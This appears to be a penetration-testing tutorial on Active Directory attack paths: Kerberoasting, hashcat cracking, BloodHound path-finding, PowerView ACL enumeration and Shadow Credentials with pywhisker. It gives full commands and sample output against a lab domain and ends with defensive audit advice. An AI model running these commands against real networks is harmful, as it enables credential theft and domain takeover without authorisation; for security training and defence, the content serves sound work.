In 2023, the Scattered Spider group compromised MGM Resorts by chaining a simple social engineering call into full Active Directory takeover — no zero-days required. The same attack paths they walked exist in most enterprise environments right now. Here are the ones every pentester must know cold.
\n\n
Kerberoasting: Turning Service Accounts Into Cracked Passwords
\n\n
Kerberoasting is the art of requesting Kerberos service tickets for accounts with SPNs, then cracking them offline. Any authenticated domain user can do it. No elevated privileges required.
\n\n
Run this with Impacket against CORP.LOCAL from your attack box at 192.0.2.50:
\n\n
python3 GetUserSPNs.py CORP.LOCAL/jsmith:Winter2024! \\\n -dc-ip 192.0.2.10 -outputfile kerberoast_hashes.txt\n\nServicePrincipalName Name MemberOf\n---------------------------- ----------- ----------------------------\nMSSQL/db01.corp.local:1433 svc_mssql CN=DBAdmins,DC=corp,DC=local\nHTTP/intranet.corp.local svc_web CN=WebServices,DC=corp,DC=local\n\n$krb5tgs$23$*svc_mssql$CORP.LOCAL$MSSQL/db01.corp.local~1433*$a3f2...[truncated]\n\n
That hash at the bottom is a TGS ticket encrypted with svc_mssql‘s NTLM password hash. Feed it to Hashcat and you crack the plaintext offline — no network noise after ticket retrieval.
\n\n
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt \\\n --rules-file /usr/share/hashcat/rules/best64.rule\n\n$krb5tgs$23$*svc_mssql*...:ServicePass99!\n\n
svc_mssql is a member of DBAdmins. That group probably has local admin on every SQL server in the domain. Next step: spray that credential with CrackMapExec and pivot to db01.corp.local. Service accounts with weak passwords and broad permissions are the most reliable path from foothold to lateral movement in AD environments.
\n\n
BloodHound: Finding the Path You’d Never See Manually
\n\n
BloodHound (the FOSS graph analysis tool) maps AD relationships and attack paths visually. It turns weeks of manual enumeration into a query you run in seconds.
\n\n
Collect data with SharpHound or the Python collector from your foothold as jsmith:
\n\n
python3 bloodhound-python -u jsmith -p 'Winter2024!' \\\n -d CORP.LOCAL -dc 192.0.2.10 -c All --zip\n\nINFO: Found AD domain: corp.local\nINFO: Connecting to LDAP server: 192.0.2.10\nINFO: Found 1 domains\nINFO: Found 214 computers\nINFO: Found 487 users\nINFO: Found 62 groups\nINFO: Done in 00M 43S\n\n
Load the ZIP into BloodHound and run the pre-built query \”Shortest Paths to Domain Admins.\” Here is what a dangerous result looks like in Cypher:
\n\n
MATCH p=shortestPath(\n (u:User {name:\"JSMITH@CORP.LOCAL\"})-[*1..]->(g:Group {name:\"DOMAIN ADMINS@CORP.LOCAL\"})\n) RETURN p\n\n
BloodHound returns: jsmith → GenericWrite → svc_web → MemberOf → HelpDesk → GenericAll → Domain Admins.
\n\n
That GenericWrite edge means jsmith can write arbitrary attributes on svc_web — including setting a new SPN to Kerberoast it, or abusing shadow credentials. The GenericAll from HelpDesk to Domain Admins means HelpDesk members can add themselves to DA directly. Two hops from a regular user to Domain Admin, and it’s all ACL abuse — nothing that triggers AV.
\n\n
ACL Abuse: The Overlooked Goldmine
\n\n
Access Control List misconfigurations are endemic. They accumulate silently over years of IT changes. PowerView makes them easy to enumerate from a Windows foothold.
\n\n
Import-Module .\PowerView.ps1\nGet-DomainObjectAcl -Identity \"svc_web\" -ResolveGUIDs | \n Where-Object { $_.ActiveDirectoryRights -match \"Write\" }\n\nObjectDN : CN=svc_web,CN=Users,DC=corp,DC=local\nActiveDirectoryRights : GenericWrite\nSecurityIdentifier : S-1-5-21-3847...-1105\nObjectAceType : All\n\n
That SID resolves to jsmith. GenericWrite on a user account opens several abuse paths. The most reliable in 2026: targeted Kerberoasting by writing a fake SPN, then cracking the ticket. Or use Shadow Credentials — write a msDS-KeyCredentialLink attribute and authenticate as svc_web using a certificate.
\n\n
python3 pywhisker.py -d CORP.LOCAL -u jsmith -p 'Winter2024!' \\\n --dc-ip 192.0.2.10 --target svc_web --action add\n\n[*] Injecting Key Credential for svc_web\n[+] KeyCredential generated with DeviceID: 4a3f...\n[+] Shadow credentials set successfully!\n[*] Run: python3 PKINITtools/gettgtpkinit.py CORP.LOCAL/svc_web -cert-pfx svc_web.pfx -pfx-pass [REDACTED] svc_web.ccache\n\n
That .ccache file is a valid TGT for svc_web. Export it, set KRB5CCNAME, and you are authenticated as that service account. From there, follow the BloodHound path to HelpDesk, then add yourself to Domain Admins with a single net group command.
\n\n
What To Do Now
\n\n
Run BloodHound against your own domain this week — with permission — and query for \”Principals with DCSync Rights\” and \”Shortest Paths to Domain Admins.\” You will almost certainly find ACL misconfigurations that have been sitting there for years. Prioritize eliminating GenericAll and GenericWrite edges on any path that touches privileged groups. That single audit will surface more real risk than a month of perimeter scanning.
